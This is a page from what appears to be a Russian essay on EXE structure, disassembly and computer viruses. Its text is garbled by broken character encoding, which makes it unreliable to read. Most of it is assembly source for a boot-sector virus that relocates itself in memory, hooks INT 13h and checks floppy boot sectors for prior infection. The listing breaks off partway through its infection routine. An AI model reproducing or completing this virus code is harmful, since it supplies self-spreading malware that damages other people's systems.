RSS    

   Ðåôåðàò: Ñåìàíòè÷åñêèé àíàëèç ñòðóêòóðû EXE ôàéëà è äèñàññåìáëåð (ñ ïðèìåðàìè è èñõîäíèêàìè), âèðóñîëîãèÿ

                                              0 - çàãðóçèòü è âûïîëíèòü

                                              1 - çàãðóçèòü è íå âûïîëíÿòü

                                              3 - çàãðóçèòü îâåðëåé

                                              4 - çàãðóçèòü è âûïîëíèòü â ôîíîâîì ðåæèìå (dos 4.0)

                               es:bx       = áëîê ïàðàìåòðîâ (òàá 3)

                               ds:dx      = èìÿ ïðîãðàììû

               âûõîä:

                               if CF=0 then

                                 bx,dx ðàçðóøåíû                               

                               else

                                 ax          = êîä îøèáêè (1,2,5,8,0A,0B)

Ïðèìåð ýëåìåíòàðíîãî BOOT-âèðóñà:

                    .286

                    .model tiny

                    .code

                    org 00h

start:           jmp install

;jmp fkñ                                                                 

table:                                                                                           ; À âîò òóò áóäåò òàáëèöà äèñêà

                    org 4ch                                                                    ; ìíîãî ìåñòà åé, íî...

fkñ:             nop                                                                          ;

                    xor di,di                                              ; îáíóëèì èõ

                    mov ds,di                                           ; DS=0

                    cli                                                                             ;

                    mov ss,di                                            ; SS=0

                    mov si,7c00h                                                         ; SI - àäðåñ â ïàìÿòè, òàì ìû

                                                                                                      ; íà÷èíàåìñÿ.

                    mov bx,si                                           ; çàïîìíèì ýòî... åùå ïðèãîäèòñÿ

                    mov sp,si                                           

                    sti                                                                            

                    dec word ptr ds:[0413h]                  ; ñòîêà ïàìÿòè äîñ

                    mov ax,ds:[0413h]                          ; â ÀÕ ðàçìåð äîñ-ïàìÿòè â êèëîáàéòàõ

                    mov cl,06                                           ; ÷òîáû ïîëó÷èòü ñåãìåíò íàäî ÷èñëî

                    shl ax,cl                                              ; êèëîáàéò óìíîæèòü íà 40h

                                                                                                      ; íåìíîãî àðèôìåòèêè - ñåãìåíò ñ÷èòàþò

                                                                                                      ; îò íà÷àëà ïàìÿòè â ïàðàãðàôàõ, ïàðà-

                                                                                                      ; ãðàô=10h áàéò, 40h ïàðàãðàôîâ=400h

                                                                                                      ; áàéò=1êÁò. äàëüøå âñå ÿñíî.

                    mov es,ax                                          ; ES=àäðåñ íîâîãî ñåãìåíòà

                    push ax                                                                   ; â ñòåê åãî - áóäåì äåëàòü ïåðåõîä

                    mov ax,offset inst_int                     ; íà ýòî âîò ñìåùåíèå

                    push ax                                                                   ; è åãî â ñòåê òîæå

                    mov cx,200h                                                         ; íî ñïåðâà íàäî ïåðåíåñòè ñâîå òåëî

                    cld                                                                            ; â ýòîò âîò ñåãìåíò

                    rep movsb                                          ; ïåðåíîñèì

                    retf                                                                           ; ïåðåõîä ÷åðåç ñòåê

inst_int:                                                                   ; çäåñü ìû óæå â íîâîì ñåãìåíòå

                    mov ax,ds:[13h*4]                          ; INT 0E0h=INT 13h original

                    mov ds:[0e0h*4],ax                        ;

                    mov ax,ds:[13h*4+2]                      ;

                    mov ds:[0e0h*4+2],ax                                        ;

                    mov word ptr ds:[13h*4],offset int13              ; INT 13h=íàø îáðàáîò÷èê

                    mov ds:[13h*4+2],cs                       ;

                    xor cx,cx

                    push cx                                                                   ; ñíîâà ïîäãîòîâêà ê ïåðåõîäó

                    push bx                                                                   ; ÷åðåç ñòåê â òî÷êó 0000:7C00h

                    mov es,cx

                    mov ax,0201h                                                       ; ÷èòàòü íîðìàëüíûé áóò-ñåêòîð

                    mov cx,cs:floppy_sect                                        ; âîò îòñþäà åãî è ÷èòàòü

                    mov dh,cs:floppy_head                                      ;

                    xor dl,dl                                              ; ñ äèñêà À: åñòåñòâåííî

                    int 0e0h                                              ; âûçîâ îðèãèíàëüíîãî INT 13h

run_boot:

                    retf                                                                           ; çàïóñòèòü áóò.

;------  *** Hàø îáðàáîò÷èê INT 13h ***  -------

int13:  mov cs:shit,ax                                          ; ñîõðàíèì ax

                    int 0e0h                                              ; âûïîëíèì îïåðàöèþ

                    jnc int_continue                                ; åñëè áûëà îøèáêà óõîäèì

                    jmp int_exit

int_continue:

                    pushf                                                   ; ôëàãè çàïîìíèòü íàäî!

                    cmp byte ptr cs:[shit+1],2               ; reading sectors?

                    jnz g1

                    cmp cx,0001                                                         

                    jne g1

                    cmp dh,0                                            ; ÷èòàåì áóò

                    jne g1

                    cmp dl,01                                           ; íå ñ âèíòà íàäåþñü?

                    jna fkñ_boot

g1:               jmp get_out

;------------- Îáðàáîò÷èê ÷òåíèÿ áóòà ñ äèñêåòû ---------------

fkñ_boot:

                    pusha                                                 

                    push ds es

                    push es

                    pop ds

                    lea di,fkñ                        ; ñðàâíèì òî ÷òî ó íàñ ïî ñìåùåíèþ fkñ

                    mov ax,cs:[di]                                   ; ñ òåì ÷òî ìû ïðî÷èòàëè ïî òîìó æå ñìåùåíèþ

                    mov si,bx                       ; Òàê ìû ïðîâåðÿåì çàðàæåí ëè

                    add si,offset fkñ           ; óæå íàìè áóò-ñåêòîð

                    cmp ax,[si]                                         ;

                    jz exit_boot_work        ; åñëè íåò òî óéäåì îòñþäà

                    cmp dl,1                         ; íà âñÿêèé ïîæàðíûé :) Â ïðèíöèïå ìîæåòå

                    ja exit_boot_work       ; ýòó ïðîâåðêó âûêèíóòü - îíà óæå áûëà

find_place:                                                             ; ïîèñê ìåñòà êóäà ïðÿòàòü ñòàðûé áóò-ñåêòîð

                    mov ax,[bx+16h]                            ; ax=÷èñëî ñåêòîðîâ â FAT

                    mul byte ptr [bx+10h] ; óìíîæèì åãî íà ÷èñëî FAT

                    add ax,[bx+0eh]                              ; ïðèáàâèì ÷èñëî ðåçåðâíûõ ñåêòîðîâ äëÿ FAT--

                    push dx                                             ; çàïîìíèì dx - òàì íîìåð äèñêà è ñòîðîíà   |

                    mov cl,4                         ;                                                                                                         |

                    mov dx,[bx+11h]                            ; dx=÷èñëî ýëåìåíòîâ êîðíåâîãî êàòàëîãà     |

                                                                                 ; 1 ýëåìåíò çàíèìàåò 32 áàéòà                            |

                    shr dx,cl                          ; ïîäåëèì åãî íà 16 - ïîëó÷èì ÷èñëî ñåêòðîâ |

                                                                                 ; êîðíÿ, âðîäå áû òàê...                                           |

                    add ax,dx                      ; ïðèáàâèì ê AX------------------------------

                    dec ax                                                 ; óìåíüøèì íà 1

                                                                                 ; â AX ïîðÿäêîâûé íîìåð ïîñëåäíåãî ñåêòîðà

                                                                                 ; ROOT'a... ???

                    mov cx,[bx+18h]                              ; cx=÷èñëî ñåêòîðîâ íà äîðîæêå

                    push cx                                               ; çàïîìíèì åãî

Ñòðàíèöû: 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17


Íîâîñòè


Áûñòðûé ïîèñê

Ãðóïïà âÊîíòàêòå: íîâîñòè

Ïîêà íåò

Íîâîñòè â Twitter è Facebook

                   

Íîâîñòè

© 2010.